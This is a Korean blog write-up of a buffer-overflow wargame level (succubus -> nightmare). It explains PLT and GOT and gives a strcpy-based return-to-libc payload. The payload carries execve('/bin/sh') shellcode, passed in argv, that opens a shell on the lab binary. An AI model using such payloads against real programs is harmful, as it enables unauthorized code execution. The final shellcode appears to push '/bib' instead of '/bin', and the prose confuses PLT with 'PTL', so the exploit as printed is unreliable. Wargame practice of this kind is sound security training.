nemo의 이야기
BOF원정대 succubus -> nightmare 본문
위 소스 코드를 확인해보면 ret부분에 strcpy 함수의 인지를 확인 한다.
먼저 여기서 strcpy주소 인지 체크하는 부분은 plt에 있는 참조 주소이다. 이 plt의 strcpy의 참조 주소를 이요해 RTL로 문제를 풀면 될 것이다.
PLT는 허출하려는 함수와 GOT를 연결하는 것이고
GOT는 실제 라이브러리 함수의 주소이고 함수가 처음 호출 될 떄 주소가 계산된다(PTL)
리눅스는 윈도우와 다르게 실행할 경우 주소가 정해진다.
우선 strcpy의 PTL주소를 확인을 하자
strcpy : 8048410
이제 조건에 건너뛰는지 확인하기 위해서 strcpy주소를 제대로 넣고 더미로 공격을 한다.
$(python -c 'print "A" *44 + "\x10\x84\x04\x08" + "BBBB" +"CCCC" +"DDDD" + " " + "\x31\xd2\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x52\x50\x89\xc3\x31\xc0\xb0\x0b\x89\xe1\xcd\x80" + "A" *19 + "FFFF"')
이제 buffer에 주소와 argv[2]에 주소를 확인 해보자
argv[2] : bffffc30
buffer : bffffa70
이제 공격 코드를 작성해보자
./nightmare $(python -c 'print "A" *44 + "\x10\x84\x04\x08" + "BBBB" +"\x70\xfa\xff\xbf" +"\x30\xfc\xff\xbf" + " " + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x62\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A" * 24 + "\x30\xfc\xff\xbf"')
'Information security > System security' 카테고리의 다른 글
BOF원정대 zombie_assassin -> succubus (0) | 2018.02.09 |
---|---|
BOF원정대 assassin -> zombie_assassin (0) | 2018.02.08 |
BOF원정대 giant -> assassin (0) | 2018.02.07 |
BOF원정대 bugbear -> giant (0) | 2018.01.28 |
BOF원정대 darknight -> bugbear (0) | 2018.01.28 |